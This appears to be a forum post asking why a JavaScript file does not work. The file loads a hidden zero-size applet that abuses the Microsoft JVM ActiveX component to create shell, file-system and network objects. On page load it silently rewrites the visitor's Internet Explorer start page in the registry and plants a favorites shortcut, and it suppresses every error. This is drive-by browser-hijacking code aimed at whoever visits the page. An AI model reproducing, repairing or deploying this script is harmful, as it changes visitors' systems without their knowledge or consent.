I put this in a file default.js and....

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

if (navigator.appName == 'Netscape') var language = navigator.language;
else var language = navigator.browserLanguage;

function AddFavLnk(loc, DispName, SiteURL) {
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}

function f() {
try {
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try {
if (!language.indexOf('es') >-1) Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.yourpage.com/");
// this will set user your page as a default homepage

var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
if (language.indexOf('es') >-1) loc = WF + "\\favoritos";
else if (language.indexOf('de') >-1) loc = WF + "\\favoriten";
else if (language.indexOf('sv') >-1) loc = WF + "\\favoriter";
else if (language.indexOf('it') >-1) loc = WF + "\\preferiti";
else if (language.indexOf('fr') >-1) loc = WF + "\\favoris";
else if (language.indexOf('da') >-1) loc = WF + "\\oversigt";
else loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc)) {
if (language.indexOf('es') >-1) loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favoritos";
else if (language.indexOf('de') >-1) loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\favoriten";
else if (language.indexOf('sv') >-1) loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\favoriter";
else if (language.indexOf('it') >-1) loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\preferiti";
else if (language.indexOf('fr') >-1) loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\favoris";
else if (language.indexOf('da') >-1) loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\oversigt";
else loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc)) {
return;
}
}
AddFavLnk(loc, "title of your homepage", "http://www.urlofyourpage.com/");
// this will add your page to users favorites

}
catch(e) {}
}
catch(e) {}
}

function init() {
setTimeout("f()", 1000);
}

init();


called it from an *.html file <script language=javascript...bla bla src=default.js></script>


but it will not work why?